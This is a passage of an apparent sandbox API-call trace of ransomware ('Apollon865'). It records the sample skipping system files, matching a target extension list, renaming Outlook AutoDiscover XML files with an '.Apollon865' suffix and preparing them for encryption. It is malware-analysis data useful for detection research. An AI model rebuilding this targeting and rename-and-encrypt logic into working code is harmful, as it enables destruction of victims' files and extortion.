	[0070.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.153] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.TW.XML", cAlternateFileName="YAB0F6~1.XML")) returned 1
	[0070.153] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.153] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.153] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2=".") returned 1
	[0070.153] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="..") returned 1
	[0070.153] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="windows") returned 1
	[0070.153] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="bootmgr") returned 1
	[0070.153] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="temp") returned 1
	[0070.153] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="pagefile.sys") returned 1
	[0070.153] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="boot") returned 1
	[0070.154] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="ids.txt") returned 1
	[0070.154] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="ntuser.dat") returned 1
	[0070.154] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="perflogs") returned 1
	[0070.154] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2="MSBuild") returned 1
	[0070.154] lstrlenW (lpString="YAHOO.COM.TW.XML") returned 16
	[0070.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML") returned 79
	[0070.154] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.TW.XML" | out: lpString1="YAHOO.COM.TW.XML") returned="YAHOO.COM.TW.XML"
	[0070.154] lstrlenW (lpString="YAHOO.COM.TW.XML") returned 16
	[0070.154] lstrlenW (lpString="Apollon865") returned 10
	[0070.154] lstrcmpiW (lpString1="COM.TW.XML", lpString2="Apollon865") returned 1
	[0070.154] lstrlenW (lpString=".dll") returned 4
	[0070.154] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2=".dll") returned 1
	[0070.154] lstrlenW (lpString=".lnk") returned 4
	[0070.154] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2=".lnk") returned 1
	[0070.154] lstrlenW (lpString=".ini") returned 4
	[0070.154] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2=".ini") returned 1
	[0070.154] lstrlenW (lpString=".sys") returned 4
	[0070.154] lstrcmpiW (lpString1="YAHOO.COM.TW.XML", lpString2=".sys") returned 1
	[0070.154] lstrlenW (lpString="YAHOO.COM.TW.XML") returned 16
	[0070.154] lstrlenW (lpString="bak") returned 3
	[0070.154] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.154] lstrlenW (lpString="ba_") returned 3
	[0070.154] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.154] lstrlenW (lpString="dbb") returned 3
	[0070.154] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.154] lstrlenW (lpString="vmdk") returned 4
	[0070.154] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.154] lstrlenW (lpString="rar") returned 3
	[0070.154] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.154] lstrlenW (lpString="zip") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.155] lstrlenW (lpString="tgz") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.155] lstrlenW (lpString="vbox") returned 4
	[0070.155] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.155] lstrlenW (lpString="vdi") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.155] lstrlenW (lpString="vhd") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.155] lstrlenW (lpString="vhdx") returned 4
	[0070.155] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.155] lstrlenW (lpString="avhd") returned 4
	[0070.155] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.155] lstrlenW (lpString="db") returned 2
	[0070.155] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.155] lstrlenW (lpString="db2") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.155] lstrlenW (lpString="db3") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.155] lstrlenW (lpString="dbf") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.155] lstrlenW (lpString="mdf") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.155] lstrlenW (lpString="mdb") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.155] lstrlenW (lpString="sql") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.155] lstrlenW (lpString="sqlite") returned 6
	[0070.155] lstrcmpiW (lpString1="TW.XML", lpString2="sqlite") returned 1
	[0070.155] lstrlenW (lpString="sqlite3") returned 7
	[0070.155] lstrcmpiW (lpString1=".TW.XML", lpString2="sqlite3") returned -1
	[0070.155] lstrlenW (lpString="sqlitedb") returned 8
	[0070.155] lstrcmpiW (lpString1="M.TW.XML", lpString2="sqlitedb") returned -1
	[0070.155] lstrlenW (lpString="xml") returned 3
	[0070.155] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.155] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML.Apollon865") returned 90
	[0070.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.157] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.157] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.158] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.158] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.158] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.159] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.160] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.161] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.161] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2=".") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="..") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="windows") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="bootmgr") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="temp") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="pagefile.sys") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="boot") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="ids.txt") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="ntuser.dat") returned 1
	[0070.161] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="perflogs") returned 1
	[0070.162] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2="MSBuild") returned 1
	[0070.162] lstrlenW (lpString="YAHOO.COM.VN.XML") returned 16
	[0070.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML") returned 79
	[0070.162] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.VN.XML" | out: lpString1="YAHOO.COM.VN.XML") returned="YAHOO.COM.VN.XML"
	[0070.162] lstrlenW (lpString="YAHOO.COM.VN.XML") returned 16
	[0070.162] lstrlenW (lpString="Apollon865") returned 10
	[0070.162] lstrcmpiW (lpString1="COM.VN.XML", lpString2="Apollon865") returned 1
	[0070.162] lstrlenW (lpString=".dll") returned 4
	[0070.162] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2=".dll") returned 1
	[0070.162] lstrlenW (lpString=".lnk") returned 4
	[0070.162] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2=".lnk") returned 1
	[0070.162] lstrlenW (lpString=".ini") returned 4
	[0070.162] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2=".ini") returned 1
	[0070.162] lstrlenW (lpString=".sys") returned 4
	[0070.162] lstrcmpiW (lpString1="YAHOO.COM.VN.XML", lpString2=".sys") returned 1
	[0070.162] lstrlenW (lpString="YAHOO.COM.VN.XML") returned 16
	[0070.162] lstrlenW (lpString="bak") returned 3
	[0070.162] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.162] lstrlenW (lpString="ba_") returned 3
	[0070.162] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.162] lstrlenW (lpString="dbb") returned 3
	[0070.162] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.162] lstrlenW (lpString="vmdk") returned 4
	[0070.162] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.162] lstrlenW (lpString="rar") returned 3
	[0070.162] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.162] lstrlenW (lpString="zip") returned 3
	[0070.162] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.162] lstrlenW (lpString="tgz") returned 3
	[0070.162] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.162] lstrlenW (lpString="vbox") returned 4
	[0070.162] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.162] lstrlenW (lpString="vdi") returned 3
	[0070.162] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.162] lstrlenW (lpString="vhd") returned 3
	[0070.162] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.162] lstrlenW (lpString="vhdx") returned 4
	[0070.163] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.163] lstrlenW (lpString="avhd") returned 4
	[0070.163] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.163] lstrlenW (lpString="db") returned 2
	[0070.163] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.163] lstrlenW (lpString="db2") returned 3
	[0070.163] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.163] lstrlenW (lpString="db3") returned 3
	[0070.163] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.163] lstrlenW (lpString="dbf") returned 3
	[0070.163] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.163] lstrlenW (lpString="mdf") returned 3
	[0070.163] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.163] lstrlenW (lpString="mdb") returned 3
	[0070.163] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.163] lstrlenW (lpString="sql") returned 3
	[0070.163] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.163] lstrlenW (lpString="sqlite") returned 6
	[0070.163] lstrcmpiW (lpString1="VN.XML", lpString2="sqlite") returned 1
	[0070.163] lstrlenW (lpString="sqlite3") returned 7
	[0070.163] lstrcmpiW (lpString1=".VN.XML", lpString2="sqlite3") returned -1
	[0070.163] lstrlenW (lpString="sqlitedb") returned 8
	[0070.163] lstrcmpiW (lpString1="M.VN.XML", lpString2="sqlitedb") returned -1
	[0070.163] lstrlenW (lpString="xml") returned 3
	[0070.163] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.163] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML.Apollon865") returned 90
	[0070.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.165] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.165] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.166] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.166] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.166] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.167] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.168] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.168] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.168] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2=".") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="..") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="windows") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="bootmgr") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="temp") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="pagefile.sys") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="boot") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="ids.txt") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="ntuser.dat") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="perflogs") returned 1
	[0070.169] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2="MSBuild") returned 1
	[0070.169] lstrlenW (lpString="YAHOO.COM.XML") returned 13
	[0070.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML") returned 79
	[0070.169] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.XML" | out: lpString1="YAHOO.COM.XML") returned="YAHOO.COM.XML"
	[0070.169] lstrlenW (lpString="YAHOO.COM.XML") returned 13
	[0070.169] lstrlenW (lpString="Apollon865") returned 10
	[0070.170] lstrcmpiW (lpString1="OO.COM.XML", lpString2="Apollon865") returned 1
	[0070.170] lstrlenW (lpString=".dll") returned 4
	[0070.170] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2=".dll") returned 1
	[0070.170] lstrlenW (lpString=".lnk") returned 4
	[0070.170] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2=".lnk") returned 1
	[0070.170] lstrlenW (lpString=".ini") returned 4
	[0070.170] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2=".ini") returned 1
	[0070.170] lstrlenW (lpString=".sys") returned 4
	[0070.170] lstrcmpiW (lpString1="YAHOO.COM.XML", lpString2=".sys") returned 1
	[0070.170] lstrlenW (lpString="YAHOO.COM.XML") returned 13
	[0070.170] lstrlenW (lpString="bak") returned 3
	[0070.170] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.170] lstrlenW (lpString="ba_") returned 3
	[0070.170] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.170] lstrlenW (lpString="dbb") returned 3
	[0070.170] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.170] lstrlenW (lpString="vmdk") returned 4
	[0070.170] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.170] lstrlenW (lpString="rar") returned 3
	[0070.170] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.170] lstrlenW (lpString="zip") returned 3
	[0070.170] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.171] lstrlenW (lpString="tgz") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.171] lstrlenW (lpString="vbox") returned 4
	[0070.171] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.171] lstrlenW (lpString="vdi") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.171] lstrlenW (lpString="vhd") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.171] lstrlenW (lpString="vhdx") returned 4
	[0070.171] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.171] lstrlenW (lpString="avhd") returned 4
	[0070.171] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.171] lstrlenW (lpString="db") returned 2
	[0070.171] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.171] lstrlenW (lpString="db2") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.171] lstrlenW (lpString="db3") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.171] lstrlenW (lpString="dbf") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.171] lstrlenW (lpString="mdf") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.171] lstrlenW (lpString="mdb") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.171] lstrlenW (lpString="sql") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.171] lstrlenW (lpString="sqlite") returned 6
	[0070.171] lstrcmpiW (lpString1="OM.XML", lpString2="sqlite") returned -1
	[0070.171] lstrlenW (lpString="sqlite3") returned 7
	[0070.171] lstrcmpiW (lpString1="COM.XML", lpString2="sqlite3") returned -1
	[0070.171] lstrlenW (lpString="sqlitedb") returned 8
	[0070.171] lstrcmpiW (lpString1=".COM.XML", lpString2="sqlitedb") returned -1
	[0070.171] lstrlenW (lpString="xml") returned 3
	[0070.171] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.171] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML.Apollon865") returned 87
	[0070.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.172] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=806) returned 1
	[0070.173] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.173] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.173] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.174] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.177] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.178] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.179] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.179] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2=".") returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="..") returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="windows") returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="bootmgr") returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="temp") returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="pagefile.sys") returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="boot") returned 1
	[0070.179] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="ids.txt") returned 1
	[0070.180] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="ntuser.dat") returned 1
	[0070.180] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="perflogs") returned 1
	[0070.180] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2="MSBuild") returned 1
	[0070.180] lstrlenW (lpString="YAHOO.DE.XML") returned 12
	[0070.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML") returned 76
	[0070.180] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.DE.XML" | out: lpString1="YAHOO.DE.XML") returned="YAHOO.DE.XML"
	[0070.180] lstrlenW (lpString="YAHOO.DE.XML") returned 12
	[0070.180] lstrlenW (lpString="Apollon865") returned 10
	[0070.180] lstrcmpiW (lpString1="HOO.DE.XML", lpString2="Apollon865") returned 1
	[0070.180] lstrlenW (lpString=".dll") returned 4
	[0070.180] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2=".dll") returned 1
	[0070.180] lstrlenW (lpString=".lnk") returned 4
	[0070.180] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2=".lnk") returned 1
	[0070.180] lstrlenW (lpString=".ini") returned 4
	[0070.180] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2=".ini") returned 1
	[0070.180] lstrlenW (lpString=".sys") returned 4
	[0070.180] lstrcmpiW (lpString1="YAHOO.DE.XML", lpString2=".sys") returned 1
	[0070.180] lstrlenW (lpString="YAHOO.DE.XML") returned 12
	[0070.180] lstrlenW (lpString="bak") returned 3
	[0070.180] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.180] lstrlenW (lpString="ba_") returned 3
	[0070.180] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.180] lstrlenW (lpString="dbb") returned 3
	[0070.180] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.180] lstrlenW (lpString="vmdk") returned 4
	[0070.180] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.180] lstrlenW (lpString="rar") returned 3
	[0070.180] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.180] lstrlenW (lpString="zip") returned 3
	[0070.180] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.180] lstrlenW (lpString="tgz") returned 3
	[0070.180] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.180] lstrlenW (lpString="vbox") returned 4
	[0070.180] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.180] lstrlenW (lpString="vdi") returned 3
	[0070.180] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.180] lstrlenW (lpString="vhd") returned 3
	[0070.180] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.181] lstrlenW (lpString="vhdx") returned 4
	[0070.181] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.181] lstrlenW (lpString="avhd") returned 4
